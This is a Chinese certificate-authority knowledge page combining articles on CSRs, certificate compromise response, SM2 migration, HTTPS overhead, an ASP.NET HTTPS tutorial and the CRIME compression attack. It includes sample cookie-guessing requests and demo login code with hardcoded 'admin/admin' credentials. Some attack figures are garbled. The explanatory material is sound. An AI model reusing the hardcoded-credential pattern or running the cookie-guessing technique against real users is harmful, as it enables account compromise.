分类
知识中心

什么是证书签名请求文件(CSR)?

证书签名请求 (CSR) 是用户申请证书(如 SSL/TLS 证书)时转发给证书颁发机构 (CA) 的编码文本块。CSR 是在将安装证书的服务器上创建的。CSR 包括域名、组织名称、位置和国家/地区等信息。该请求还包含公钥,该公钥将与生成的证书相关联,并且同一服务器还生成私钥。在开发证书时,CA只会使用公钥,私钥应该保存并保密,因为私钥是公钥的密钥对,如果我们丢失私钥,证书将不起作用。

什么是证书签名请求文件(CSR)?

CSR文件包括下面信息:

  • 域名:服务器的完全限定域名 (FQDN),如 www.ert7.com。
  • 组织名称:组织的法定名称,例如“北京天威诚信电子商务服务有限公司”。
  • 组织单位:组织的部门,如 IT 部门。
  • 城市/地点:组织所在的城市,例如北京/青岛。
  • 州/县/地区:如北京/山东
  • 国家:如中国
  • 电子邮件地址:用于与组织联系的电子邮件地址,例如 ssl@ert7.com
  • 公钥:将与证书关联的公钥。
分类
知识中心

如何处理违规的SSL证书和密钥?

根据全球企业的攻击统计数据,找出企业环境中的漏洞至少需要一天或更长时间。发现漏洞所需的时间越长,造成更多损害的可能性就越高,因为有不良行为者不断监控情况并利用它来谋取利益。

SSL证书安全性如何?

每个组织都必须有一个如何应对受到攻击的环境的计划。考虑到不同的行业都有针对其场景的不同 IT 流程,我们可以得出一些应该遵循的补救步骤,而不管行业类型如何:

  • 清点受违规/攻击影响的系统。
  • 遵循标准的、预定义的攻击方法。
  • 验证不良行为者是否已被处理。

一旦识别并确认了攻击,就只完成了一半。接下来,挑战在于如何消除对手对企业关键数字资产(如密钥和证书)的访问权限,因为大多数组织都无法了解证书或密钥泄露的真正影响。我们可以深入研究过去,发现存在诸如数字证书被盗之类的违规事件,其中组织由于没有立即更换数字证书而无法理解后果。理想情况下,组织应该能够快速响应并响应受违规行为影响的所有系统,以安全的方式运行其运营。

让我们详细说明在发生违规/攻击时需要遵循的步骤:
影响分析

在修复违规行为时,第一步是确定环境中受影响的系统的清单。例如,如果发现任何与 SSL 相关的违规行为,则后续步骤是找出 SSL 在连接到 URL、Web 服务器、共享点门户等时的全面使用情况。有了这个,可以在很大程度上确定违规的渗透深度。可以考虑任何 SSL/TLS 证书的使用或密钥泄露,以确定对环境的总体影响。

遵循预定义的方法

一旦攻击得到确认,预定义的方法就应该开始,其中责任预先决定了谁将做什么。同时,当安全团队采取措施遏制和修复攻击时,攻击者会尝试植入一些恶意证书和密钥,以帮助他们将来访问资源。在这种情况下,安全团队应通过证书和密钥生命周期管理工具重新验证证书/密钥的清单,并丢弃/停用恶意数字资产。

修复操作的验证

一旦针对攻击的修复操作完成,并且恶意证书和密钥已成功替换,重新验证修复报告并确认修复步骤是否已成功完成就变得非常重要。如果对手的足迹仍然留在环境中,这可能会导致严重后果。组织可以匹配违规报告和修复报告,以确定修复尝试的准确性,并对其当前的安全强度充满信心

分类
公司新闻

网商银行与天威诚信,共同推进国密算法升级改造

《中华人民共和国密码法》的落地实施和一系列有关网络安全政策的密集出台,为信创领域基于国产商用密码的数字证书带来了更加广泛的使用空间,国产自主的商用密码体系建设也随之进入了新热潮,支持国密SM2算法的SSL证书已广泛应用于银行、政府、科研机构等领域。

  网商银行国密升级改造需求

网商银行是由蚂蚁集团发起成立、银保监会批准成立的中国首批民营银行之一,致力于解决小微企业、个体户、经营性农户等小微群体的金融需求。借助实践多年的无接触贷款模式,网商银行为更多小微经营者提供纯线上的金融服务。成立6年来,累计超过4000万小微经营者使用过网商银行的数字信贷服务。

为进一步提升网商银行的信息安全性,同时为贯彻国家密码管理局“实现金融领域信息安全核心产品及系统的自主可控”的精神,在新形势下,网商银行的网络系统亟需进行SM国密算法升级改造,在此过程中,如何合理规划以及安全有序的实施成为网商银行需要重点考虑的问题。

网商银行与天威诚信,共同推进国密算法升级改造

  天威诚信-网商银行SM国密改造方案

在天威诚信主导实施的网商银行SM国密改造过程中,天威诚信结合网商银行的平台特性和业务流程,为之量身定制了全生态一站式的国密算法证书改造方案。

改造方案以SM国密算法为核心,通过SM4这一金融行业国内通用的标准算法进行网络信息加密,同时使用SM3进行讯息身份验证并使用SM2作为密钥交换机制,从多个维度确保网商银行系统和客户端的信息安全。

方案覆盖了网商银行的手机银行、企业网银系统,对网商银行业务流程的关键环节进行了安全合规改造。通过使用天威诚信颁发的数字证书和紧密结合业务需求的改造方案,网商银行快速而稳健的完成了银行企业版和个人版SM国密改造工作,进一步保障了网商银行系统安全和数千万网商银行用户的金融信息安全。

考虑到网商银行广阔的业务应用场景和庞大的用户基数,为保障兼容性和高可用性,天威诚信同时为网商银行提供了vTrus RSA+SM2国密合规改造方案,实现网商银行业务在线双算法自适应切换模式,在满足国密算法改造的基础上进一步保障了业务的稳定性,真正做到无缝兼容和平稳过渡,提升了网商用户的使用体验。

  天威诚信在国密算法领域的优势

密码算法和密码产品的自主可控是确保我国信息安全的重中之重,作为国密算法改造工作的推进者,天威诚信积极响应国家政策,公司自主研发的支持国密SM2算法的vTrus SSL系列证书,已全部通过国家密码管理局的安全性审查,并实现了在360、红莲花、奇安信等国产浏览器预埋。

同时,天威诚信作为电子认证行业代表参与了《电子认证服务管理办法》和《电子政务电子认证服务管理办法》的起草,牵头实施《中国服务器证书信任体系研究课题》,并参与建设和维护中国最大的底层密码库开源社区——BabaSSL,展现了优于同行业其他机构的服务能力和水平。

结合多年来在金融行业的深厚积淀,天威诚信已经逐步探索出了可行的国密改造项目实施步骤,在以网商银行为代表的银行机构国密改造实践中得到了成功应用,受到客户的积极好评和充分肯定。

随着国密算法改造的应用日益深入,天威诚信将继续立足技术优势,扎实推进国密算法在我国银行等重点领域的推广和应用,从而在算法层面确保金融信息安全,为我国金融信息系统的安全自主可控做出积极贡献。

分类
知识中心

HTTPS协议要比HTTP多用多少服务器资源?

近日,百度宣布全站开启HTTPS加密搜索。据官方表示,为解决“中间者”对用户隐私的嗅探和劫持等问题,百度将对传统HTTP通道添加SSL安全套接层,将所有百度搜索请求全部变成加密状态。

百度已启用全站HTTPS加密搜索

如何看待百度全站搜索进入HTTPS时代?

实际上,一些国际网站,比如维基百科,在启用HTTPS前先会考虑自己计算能力是否可以承载HTTPS。那么问题来了,HTTPS要比HTTP多用多少服务器资源?HTTPS其实就是建构在SSL/TLS之上的 HTTP协议,所以要比较HTTPS比HTTP多用多少服务器资源,主要看SSL/TLS本身消耗多少服务器资源。

HTTP使用TCP 三次握手建立连接,客户端和服务器需要交换3个包,HTTPS除了 TCP 的三个包,还要加上 ssl握手需要的9个包,所以一共是12个包。HTTP 建立连接,按照下面链接中针对Computer Science House的测试,是114毫秒;HTTPS建立连接,耗费436毫秒。ssl 部分花费322毫秒,包括网络延时和ssl 本身加解密的开销。

 

(服务器根据客户端的信息确定是否需要生成新的主密钥;服务器回复该主密钥,并返回给客户端一个用主密钥认证的信息;服务器向客户端请求数字签名和公开密钥)。

SSLhandshake latency and HTTPS optimizations. :: semicomplete.com

当SSL 连接建立后,之后的加密方式就变成了3DES等对于 CPU 负荷较轻的对称加密方式。相对前面 SSL 建立连接时的非对称加密方式,对称加密方式对 CPU 的负荷基本可以忽略不记,所以问题就来了,如果频繁的重建 ssl 的session,对于服务器性能的影响将会是致命的,尽管打开HTTPS 保活可以缓解单个连接的性能问题,但是对于并发访问用户数极多的大型网站,基于负荷分担的独立的SSL termination proxy就显得必不可少了,Web 服务放在SSL termination proxy之后。SSL terminationproxy既可以是基于硬件的,譬如F5;也可以是基于软件的,譬如维基百科用到的就是 Nginx。
那采用 HTTPS 后,到底会多用多少服务器资源,2010年1月 Gmail切换到完全使用HTTPS, 前端处理 SSL 机器的CPU 负荷增加不超过1%,每个连接的内存消耗少于20KB,网络流量增加少于2%。由于 Gmail 应该是使用N台服务器分布式处理,所以CPU 负荷的数据并不具有太多的参考意义,每个连接内存消耗和网络流量数据有参考意义。北京蓝汛经过实际模拟试验,认为一般情况下可以按照TPS下降10倍来估算,这个数据很有参考意义。
Heartbleed这个被称作史上最大的网络安全漏洞,想必很多人都有所耳闻,Heartbleed之所以能够出现,其实和我们这个问题关系还不小,前面我们谈到了频繁重建SSL/TLS的session对于服务器影响是致命的,所以聪明的RFC 在2012年提出了RFC6520 TLS 的心跳扩展。这个协议本身是简单和完美的,通过在客户端和服务器之间来回发送心跳的请求和应答,保活 TLS session,减少重建 TLS的session的性能开销。令人遗憾的是,openssl 在实现这个心跳扩展时,犯了一个低级的错误,没有对收到的心跳请求进行长度检查,直接根据心跳请求长度拷贝数据区,导致简单的心跳应答中可能包含了服务器端的核心数据区内容,用户名,密码,信用卡信息,甚至服务器的私有密钥都有可能泄露。心因为心跳保活的这个 BUG 在滴血,这个名字起的极度形象。
产品应用场景

所有基于HTTPS的应用加速,包括采用北京蓝汛ChinaCache证书的HTTPS应用,以及自有证书的HTTPS的电子商务、金融行业、社交网络;均可获得预期较好的加速效果。

北京蓝汛ChinaCache针对HTTPS应用加速拥有如下特点和优势:

高效数据加密算法:选择最优加密算法(对称加解密算法),对应用数据应用数据传输阶段进行加解密。
SSL会话复用:会话复用,提高设备服务能力,减少传输时间,减轻设备负载。
开源SSL协议库优化:在握手阶段连接建立阶段(非对称加解密算法),进行优化,缩短握手时间。
回源长连接:节点服务器与源站之间建立长连接,连续发送多个数据包。
私钥加密保护:对HTTPS的私钥进行加密,加密后进行分段存储,确保私钥安全性。
密钥管理:采用严格的密钥管理体制,将密钥和秘文分开存储,非明文存放,定期修改。

 

下面开始讲一个无聊的故事,和问题关系不大,时间紧张的看官可以到此为止了。

从前山上有座庙,庙里有个和尚……,别胡闹了,老和尚来了。

小和尚问老和尚:ssl为什么会让HTTP安全?

老和尚答道:譬如你我都有一个同样的密码,我发信给你时用这个密码加密,你收到我发的信,用这个密码解密,就能知道我信的内容,其他的闲杂人等,就算偷偷拿到了信,由于不知道这个密码,也只能望信兴叹,这个密码就叫做对称密码。ssl使用对称密码对HTTP内容进行加解密,所以让HTTP安全了,常用的加解密算法主要有3DES和AES等。

小和尚摸摸脑袋问老和尚:师傅,如果我们两人选择“和尚”作为密码,再创造一个和尚算法,我们俩之间的通信不就高枕无忧了?

老和尚当头给了小和尚一戒尺:那我要给山下的小花写情书,还得用“和尚”这个密码不成?想了想又给了小和尚一戒尺:虽然我们是和尚,不是码农,也不能自己造轮子,当初一堆牛人码农造出了Wifi的安全算法WEP,后来发现是一绣花枕头,在安全界传为笑谈;况且小花只知道3DES和AES,哪知道和尚算法?

小和尚问到:那师傅何解?

老和尚:我和小花只要知道每封信的密码,就可以读到对方加密的信件,关键是我们互相之间怎么知道这个对称密码。你说,我要是将密码写封信给她,信被别人偷了,那大家不都知道我们的密码了,也就能够读懂我们情书了。不过还是有解的,这里我用到了江湖中秘传的非对称密码。我现在手头有两个密码,一个叫“公钥”,一个叫“私钥”,公钥发布到了江湖上,好多人都知道,私钥嘛,江湖上只有我一个人知道;这两个密钥有数学相关性,就是说用公钥加密的信件,可以用私钥解开,但是用公钥却解不开。公钥小花是知道的,她每次给我写信,都要我的公钥加密她的对称密码,单独写一张密码纸,然后用她的对称密码加密她的信件,这样我用我的私钥可以解出这个对称密码,再用这个对称密码来解密她的信件。

老和尚顿了顿:可惜她用的对称密码老是“和尚为什么写情书”这一类,所以我每次解开密码纸时总是怅然若失,其实我钟意的对称密码是诸如“风花”“雪月”什么的,最头痛的是,我还不得不用“和尚为什么写情书”这个密码来加密我给小花回的情书,人世间最痛苦的事莫过于如此。可我哪里知道,其实有人比我更痛苦。山下的张屠夫,暗恋小花很多年,看着我们鸿雁传书,心中很不是滋味,主动毛遂自荐代替香客给我们送信。在他第一次给小花送信时,就给了小花他自己的公钥,谎称是我公钥刚刚更新了,小花信以为真,之后的信件对称密码都用张屠夫的这个公钥加密了,张屠夫拿到回信后,用他自己的私钥解开了小花的对称密码,然后用这个对称密码,不仅能够看到了小花信件的所有内容,还能使用这个密码伪造小花给我写信,同时还能用他的私钥加密给小花的信件。渐渐我发现信件变味了,尽管心生疑惑,但是没有确切的证据,一次我写信问小花第一次使用的对称密码,回信中“和尚为什么写情书”赫然在列,于是我的疑惑稍稍减轻。直到有一次去拜会嵩山少林寺老方丈才顿悟,原来由于我的公钥没有火印,任何人都可以伪造一份公钥宣称是我的,这样这个人即能读到别人写给我的信,也能伪造别人给我写信,同样也能读到我的回信,也能伪造我给别人的回信,这种邪门武功江湖上称之“Man-in-the-middle attack”。唯一的破解就是使用嵩山少林寺的火印,这个火印可有讲究了,需要将我的公钥及个人在江湖地位提交给18罗汉委员会,他们会根据我的这些信息使用委员会私钥进行数字签名,签名的信息凸现在火印上,有火印的公钥真实性在江湖上无人质疑,要知道18罗汉可是无人敢得罪的。

小和尚问:那然后呢?

老和尚:从嵩山少林寺回山上寺庙时,我将有火印的公钥亲自给小花送去,可是之后再也没有收到小花的来信。过了一年才知道,其实小花还是给我写过信的,当时信确实是用有火印的公钥加密,张屠夫拿到信后,由于不知道我的私钥,解不开小花的密码信,所以一怒之下将信件全部烧毁了。也由于张屠夫无法知道小花的对称密码而无法回信,小花发出几封信后石沉大海,也心生疑惑,到处打听我的近况。这下张屠夫急了,他使用我发布的公钥,仿照小花的语气,给我发来一封信。拿到信时我就觉得奇怪,信纸上怎么有一股猪油的味道,结尾竟然还关切的询问我的私钥。情知有诈,我思量无论如何要找到办法让我知道来的信是否真是小花所写。后来竟然让我想到了办法….

老和尚摸着光头说:这头发可不是白掉的,我托香客给小花带话,我一切安好,希望她也拥有属于自己的一段幸福,不对,是一对非对称密钥。小花委托小镇美女协会给小花公钥打上火印后,托香客给我送来,这样小花在每次给我写信时,都会在密码纸上贴上一朵小牡丹,牡丹上写上用她自己的私钥加密过的给我的留言,这样我收到自称是小花的信后,我会先抽出密码纸,取下小牡丹,使用小花的公钥解密这段留言,如果解不出来,我会直接将整封信连同密码纸一起扔掉,因为这封信一定不是小花写的,如果能够解出来,这封信才能确信来之于小花,我才仔细的解码阅读。

小和尚:难怪听说张屠夫是被活活气死的。您这情书整的,我头都大了,我长大后,有想法直接扯着嗓子对山下喊,也省的这么些麻烦。不过我倒是明白了楼上的话,ssl 握手阶段,就是要解决什么看火印,读牡丹,解密码纸,确实够麻烦的,所以性能瓶颈在这里,一旦双方都知道了对称密码,之后就是行云流水的解码读信阶段了,相对轻松很多。

分类
知识中心

如何将HTTP站点转换成HTTPS、及后续问题

https及https的本地测试环境搭建。asp.net结合https的代码实现http网站转换成https网站,以及之后遇到的问题等。

一:什么是https

SSL(Security   Socket   Layer)全称是加密套接字协议层,它位于HTTP协议层和TCP协议层之间,用于建立用户与服务器之间的加密通信,确保所传递信息的安全性,同时SSL安全机制是依靠数字证书来实现的。

SSL基于公用密钥和私人密钥,用户使用公用密钥来加密数据,但解密数据必须使用相应的私人密钥。使用SSL安全机制的通信过程如下:用户与IIS服务器建立连接后,服务器会把数字证书与公用密钥发送给用户,用户端生成会话密钥,并用公共密钥对会话密钥进行加密,然后传递给服务器,服务器端用私人密钥进行解密,这样,用户端和服务器端就建立了一条安全通道,只有SSL允许的用户才能与IIS服务器进行通信。

提示:SSL网站不同于一般的Web站点,它使用的是“HTTPS”协议,而不是普通的“HTTP”协议。因此它的URL(统一资源定位器)格式为“https://网站域名”。

二:https的本地测试环境搭建

1:win7/windows server 2008R2中 IIS7/IIS7.5 搭配https本地测试环境

2:windows server 2003中IIS6.0 搭配https本地测试环境

三:asp.net 结合 https的代码实现

https是由IIS,浏览器来实现的传输层加密,不需要特意的编码。。。平时怎么在asp.net里面编写代码,就怎么写。

很可能要问,为什么我的站点使用了https之后,用firebug之类的软件查看值提交的时候,还是会显示明文呢?例如,博客园的登陆界面提交。

http://passport.cnblogs.com/login.aspx

如何将HTTP站点转换成HTTPS、及后续问题-1

如何将HTTP站点转换成HTTPS、及后续问题-2

为什么这里还是能看到明文的用户名和密码呢?

原因是因为:https(ssl)的加密是发生在应用层与传输层之间,所以,在传输层看到的数据才是经过加密的,而我们捕捉到的http post的,是应用层的,是还没经过加密的数据。

加密的数据只有客户端和服务器端才能得到明文 客户端到服务端的通信是安全的

支付宝也是https的,但是他的同时也增加了安全控件来保护密码, 以前认为这个只是用来防键盘监听的,其实,看下面http post截获的密码:这个安全控件把给request的密码也先加了密,紧接着https再加次密,果然是和钱打交道的,安全级别高多了:)

如何将HTTP站点转换成HTTPS、及后续问题-1

四:http网站转换成https网站之后遇到的问题

整站https还是个别的页面采用https?网站的连接是使用相对路径?还是绝对路径?

如果是整站都是https,那么会显得网页有些慢,如果是个别页面采用https,那么如何保证从https转换到http的时候的url的准确性呢?

比如我们用http的时候,网站的头部底部都是用的相对路径,假如你的页面是 http://aa/index.aspx  你跳转到 https://aa/login.aspx 这里怎么来跳转?只能把超链接写死

登陆  但是这样的话,你跳转过去之后的页面 ,所有的相对路径都变成了https开头了,这样很影响网站的效率。

虽然使用绝对地址可以解决,但是那样显然不好移植。

下面就是使用第三方的组件,来解决上面的这个问题

步骤  

先下载dll文件 http://code.google.com/p/securityswitch/downloads/list    我选择的是 SecuritySwitch v4.2.0.0 – Binary.zip这个版本

如何将HTTP站点转换成HTTPS、及后续问题-2

1: 我们来看看测试项目

如何将HTTP站点转换成HTTPS、及后续问题-5

admin 文件夹,需要登录之后,才能访问。admin里面的 login.aspx  可以访问。整个admin文件夹都需要https访问:

如何将HTTP站点转换成HTTPS、及后续问题-1

contact.aspx 需要https 访问:

如何将HTTP站点转换成HTTPS、及后续问题-7

default.aspx 和 view.aspx 采用 http 访问:

如何将HTTP站点转换成HTTPS、及后续问题-8

链接我们都采用相对路径,并没有写死成 http://www.xx.com/a.aspx   或者是 https://www.xx.com/a.aspx。

如何将HTTP站点转换成HTTPS、及后续问题-9

下面我们开始用SecuritySwith来实现上面的https和http访问的规则。

2:在项目上,添加引用 SecuritySwitch.dll  ,并且添加智能提示。

如何将HTTP站点转换成HTTPS、及后续问题-4

如何将HTTP站点转换成HTTPS、及后续问题-2

如何将HTTP站点转换成HTTPS、及后续问题-6

这样,只能提示就有了。

如何将HTTP站点转换成HTTPS、及后续问题-13

3:然后我们在web.config里面添加设置  。根据IIS的不同,还分为 IIS6+ IIS7.X(经典模式)  以及 IIS7(集成模式) 的不同的配置,这里我们是按照IIS6+IIS7.X的(经典模式)来配置的。

只看看里面的 SSL配置即可:

  • <?xml version=”1.0″?>
  • <configuration>
  • <!–SSL配置1开始–>
  • <configSections>
  • <section name=”securitySwitch” type=”SecuritySwitch.Configuration.Settings, SecuritySwitch” />
  • </configSections>
  • <securitySwitch    baseInsecureUri=”http://webjoeyssl” baseSecureUri=”https://webjoeyssl” xmlns=”http://SecuritySwitch-v4.xsd” mode=”On”>
  • <!–如果你的http和https仅仅只有一个s的区别,那么这里的base的2个url可以不写,那为什么还要搞这2个url呢?因为比如
  • 你的 baseInsecureUri (基本不安全网址) 是 http://www.qq.com
  • 而你的  baseSecureUri (基本安全网址)  是 https://safe.qq.com
  • 然后这个时候你访问一个需要https的页面,假如是 login.aspx?return=joey
  • 假如你是通过http://www.qq.com/login.aspx?return=joey访问的,那么这个
  • 页面会跳转到http://safe.qq.com/login.aspx?return=joey
  • –>
  • <paths>
  • <add path=”~/contact.aspx”/>
  • <add path=”~/admin/login.aspx”/>
  • <add path=”~/admin” />
  • <!–这里的admin因为不仅是 admin 文件夹,而且还包含类似的 adminNews.aspx  adminQQ.aspx 页面”–>
  • <!–但是如果是  ~/admin/   就是专门指admin文件夹–>
  • </paths>
  • </securitySwitch>
  • <!–SSL配置1结束—>
  • <appSettings />
  • <system.web>
  • <compilation debug=”true”>
  • </compilation>
  • <!–  内置票据认证 start–>
  • <authentication mode=”Forms”>
  • <forms name=”mycook” loginUrl=”admin/login.aspx” protection=”All” path=”/” />
  • </authentication>
  • <!–SSL配置2  如果是 IIS <= 6.x, IIS 7.x + 经典模式–>
  • <httpModules>
  • <add name=”SecuritySwitch” type=”SecuritySwitch.SecuritySwitchModule, SecuritySwitch” />
  • </httpModules>
  • <!–SSL配置2结束–>
  • </system.web>
  • <!–SSL配置2 如果是IIS7.X + 集成模式–>
  • <!–<system.webServer>
  • <validation validateIntegratedModeConfiguration=”false” />
  • <modules>
  • –><!– for IIS 7.x + 集成模式 –><!–
  • <add name=”SecuritySwitch” type=”SecuritySwitch.SecuritySwitchModule, SecuritySwitch” />
  • </modules>
  • </system.webServer>–>
  • <!–如果是IIS7.X+集成模式  SSL配置2 结束—>
  • </configuration>

4: 由于用到了内置票据认证,所以要在 Global.asax添加以下代码:

  • protected void Application_AuthenticateRequest(object SENDER, EventArgs e)
  • {
  • if (HttpContext.Current.User != null)
  • {
  • if (HttpContext.Current.User.Identity.IsAuthenticated)
  • {
  • if (HttpContext.Current.User.Identity is FormsIdentity)
  • {
  • FormsIdentity id = (FormsIdentity)HttpContext.Current.User.Identity;
  • FormsAuthenticationTicket tiecket = id.Ticket;
  • string userData = tiecket.UserData;
  • string[] roles = userData.Split(‘,’);
  • HttpContext.Current.User = new System.Security.Principal.GenericPrincipal(id, roles);
  • }
  • }
  • }
  • }

5: 后台登陆界面  admin/login.aspx:

  • <%@ Page Language=”C#” AutoEventWireup=”true” CodeBehind=”login.aspx.cs” Inherits=”web.admin.login” %>
  • <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
  • <html xmlns=”http://www.w3.org/1999/xhtml”>
  • <head runat=”server”>
  • <title></title>
  • </head>
  • <body>
  • <form id=”form1″ runat=”server”>
  • 用户名:<asp:TextBox ID=”txtUser” runat=”server”></asp:TextBox><br />
  • 密码:<asp:TextBox ID=”txtPass” runat=”server”></asp:TextBox><br />
  • 记住用户名:<asp:CheckBox ID=”chkUsername” runat=”server”  Checked=”true”/>
  • <br />
  • <asp:Literal ID=”litResult” runat=”server”></asp:Literal>
  • <br />
  • <asp:Button ID=”btnSubmit” runat=”server” Text=”提交” onclick=”btnSubmit_Click” />
  • </form>
  • </body>
  • </html>

后台登陆界面 cs   admin/login.aspx.cs:

  • using System;
  • using System.Collections.Generic;
  • using System.Web;
  • using System.Web.UI;
  • using System.Web.UI.WebControls;
  • using System.Web.Security;
  • namespace web.admin
  • {
  • public partial class login : System.Web.UI.Page
  • {
  • protected void Page_Load(object sender, EventArgs e)
  • {
  • }
  • protected void btnSubmit_Click(object sender, EventArgs e)
  • {
  • string username = txtUser.Text;
  • string pass = txtPass.Text;
  • bool ischeck=chkUsername.Checked;
  • if (username==”admin” && pass==”admin”)
  • {
  • SaveLogin(username, ischeck);
  • }
  • }
  • private void SaveLogin(string username, bool ischeck)
  • {
  • HttpCookie cook;
  • string strReturnURL;
  • string roles = “admin”;//将用户的usernameid,保存到cookies,身份是 admin 身份
  • //要引用 using System.Web.Security;
  • FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(
  • 1, username, DateTime.Now, DateTime.Now.AddMinutes(30), ischeck, roles);
  • cook = new HttpCookie(“mycook”);//对应webconfig里面的 验证里面的 forms name=”mycook”
  • cook.Value = FormsAuthentication.Encrypt(ticket);
  • Response.Cookies.Add(cook);
  • strReturnURL = Request.Params[“ReturnUrl”];
  • if (strReturnURL != null)
  • {
  • Response.Redirect(strReturnURL);
  • }
  • else
  • {
  • Response.Redirect(“default.aspx”);
  • }
  • }
  • }
  • }
分类
知识中心

客户端对HTTPS协议的支持方案

对于互联网客户端应用来说,通过http与网站服务器进行通信是一个重要的手段。但是某些情况下,客户端需要访问或提交一些重要资源,而且不希望有人盗取这些接口调用,此时就需要考虑https协议了。目前https在web端已经非常普遍,比如邮箱、购物、银行交易等。

那么,什么是https,它到底有什么好处,客户端能不能使用https,实现方法又是怎样的呢?这篇文章就来简单回答一下这些问题。

一、什么是HTTPS?

首先来认识一下https:维基百科-HTTPS。简单理解,https是安全版的http,通过在TCP与http层之间加入SSL协议层保证通信方身份、数据通道和数据本身的安全性,https采用443端口。关于SSL参考:维基百科-SSL,简单来说SSL主要完成两件事情:身份认证和数据加密。打个比方,打电 话的时候,如果通过某种方式确认通话双方的身份,而且电 话通道是安全加密的,甚至双方交流都采用暗语,那么几乎没有第三者能窃取通话内容。现在我们可以确定地说,https协议是安全的。而对于明文的http,如果你想干点坏事成本不太高,比如最近比较火的12306,用Wireshark或Fiddler抓包再费点功夫解析一下,你完全可以写个客户端或浏览器插件自己抢票;网上流行的论坛自动刷评论软件也是这样做的。但在https面前,这些完全不用担忧。

二、HTTPS是怎样工作的?

最关键的步骤就是建立server和client的SSL安全连接通道,在网上找到一个非常好的图来描述这个步骤。

 

客户端对https的支持方案:

这里主要描述流程和逻辑,以及这样做的目的。我们可以看到整个过程分为四个阶段:

1,client建立TCP连接后,发送一个标志请求,双方交换一些与加密相关的信息。这个过程主要是为了协商加密算法。

2,server会紧接着将自己的证书发送给client,来完成client对server身份的认证。这里的证书可以理解为一种网络身份证,即由一些有资质的CA机构(如VeriSign)经过核实后颁发的证明文件,因此如果想让server支持https是需要花钱买数字证书的,同时windows等操作系统也已经提供了一套API来完成对证书合法性的检查(类似于去公安部分查证某人的身份)。

对于这一步,浏览器的标准做法是维护一个CA机构的列表(该列表用户可以干预),当验证证书时,如果是列表中的机构(或经其授权的机构,证书链)颁发的就为可信任证书。然后还会验证证书有效期、证书标明的域名和目前访问的域名是否一致、证书中的公钥能否解开证书数字签名等。对于其他应用客户端,由于已经明确知道server证书的域名等信息,因此可以将认证逻辑做的更加严格。如果客户端发现server认证失败,就断开连接。这样,就可以防止有人伪造server来骗取客户端连接和https请求,从而将https解密盗用接口。

需要明确的一个概念是,SSL的认证和加密之间没有必然联系,也就是说如果client不做认证,后续依然可以继续标准的SSL加密,和server进行https通信。可以这样理解,SSL将身份认证步骤独立出来,如果双方继续连接和握手过程,那么可以继续协商数据加密算法,完成后续的通信。此时对于通信双方来说,这次的数据通道和数据本身都是安全的,不会别第三者截取和解密。但是如果和你打电 话的人不是你要的,虽然你说的是暗语,对方也能听懂,因为电 话一开始你们俩就从一系列标准暗语里协商了一个来用,暗语只是用来防止第三者窃听。

3,如果server要求,client需要发送自己的证书,server完成对client端身份的认证。目的与第2步类似,但是一般很多server并不要求对client身份进行认证。

4,协商最终加密算法。client用服务器证书中的公钥加密一个随机串密码(pre-mastersecret),并将一个由之前协商算法计算而来的握手消息用pre-mastersecret加密,将这些一并发给server;server收到后,用对应的私钥解密pre-mastersecret,由于密钥只有server知道,因此其他人无法得到pre-mastersecret。server使用pre-mastersecret解密握手消息,并验证是否符合之前的协商规则。server和client通过相同的算法生成一个mastersecret,此后server和client之间用mastersecret作为初始密钥进行对称加解密通信。可以看出,双方先通过非对称加密方式生成对称加密所用的密钥,然后用该密钥进行对称加密通信。关于对称加密/非对称加密/公钥/密钥等概念,请自行google。

需要说明的是,上面四个阶段是从逻辑上区分的,实际SSL协商时client和server之间的数据交互可能有所穿插和合并。

通过以上建立起的SSL,保证了通信双方、通道和数据的安全性,后续的通信过程也足够安全。

三、客户端实现

实际上很多浏览器、邮箱等已经是支持https的客户端了。如果我们在开发过程中有客户端对https的支持需求,可以按照标准的https/ssl协议来实现,但是难度还是相当大的。幸好已经有开源的代码可以用了,那就是libcurl 和 openssl。openssl封装了ssl标准,而libcurl也提供了对openssl的支持。这里是libcurl官方提供的一个调用ssl的samplecode:simplessl,关于libcurl和openssl开发的具体细节,大家可以google相关资料。

分类
知识中心

常见HTTPS攻击方法——解析

0x00 背景

研究常见的https攻击方法

Beast crime breach,并针对https的特性提出一些安全部署https的建议。

针对于HTTPS的攻击,多存在于中间人攻击的环境中,主要是针对于HTTPS所使用的压缩算法和CBC加密模式,进行side-channel-attack。这几类攻击的前置条件都比较苛刻,且都需要受害主机提交很多次请求来收集破译关键数据的足够信息。

常见的攻击方法,主要有,BEAST、Lucky-13、RC4 Biases、CRIME、TIME、BREACH等。主要对其中几种进行介绍。

  0x01 CRIME

Compression Ratio Info-leak Made Easy

攻击原理

攻击者控制受害者发送大量请求,利用压缩算法的机制猜测请求中的关键信息,根据response长度判断请求是否成功。

如下面的https头,攻击这可以控制的部分为get请求地址,想要猜测的部分为Cookie。那么攻击者只需要在GET地址处,不断变换猜测字符串,进行猜测。

GET /sessionid=a HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924GET /sessionid=a HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924

比如上面的情况Response长度为 1000byte。

GET /sessionid=d HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924

当攻击者猜对了cookie的第一个字母,Response的长度会缩小到9999byte。

当Response被SSL加密之后,如果使用RC4加密模式,长度并不会发生随机改变。使用BCB加密模式时,因为padding的原因,长度会有略微的改变。

受影响的加密算法

Deflate = LZ77 + HuffMan

GZip = Headers + Data Compressed using Deflate

攻击前提

攻击者可以获取受害者的网络通信包。(中间人攻击,ISP供应商)

浏览器和服务器支持均支持并使用压缩算法。

攻击这可以控制受害者发送大量请求并可以控制请求内容。

防御方法

客户端可以升级浏览器来避免这种攻击。

▪ Chrome: 21.0.1180.89 and above▪ Firefox: 15.0.1 and above▪ Opera: 12.01 and above▪ Safari: 5.1.7 and above

服务器端可以通过禁用一些加密算法来防止此类攻击。

Apache

• SSLCompression flag = “SSLCompression off”

• GnuTLSPriorities flag = “!COMP-DEFLATE”

禁止过于频繁的请求。

修改压缩算法流程,用户输入的数据不进行压缩。

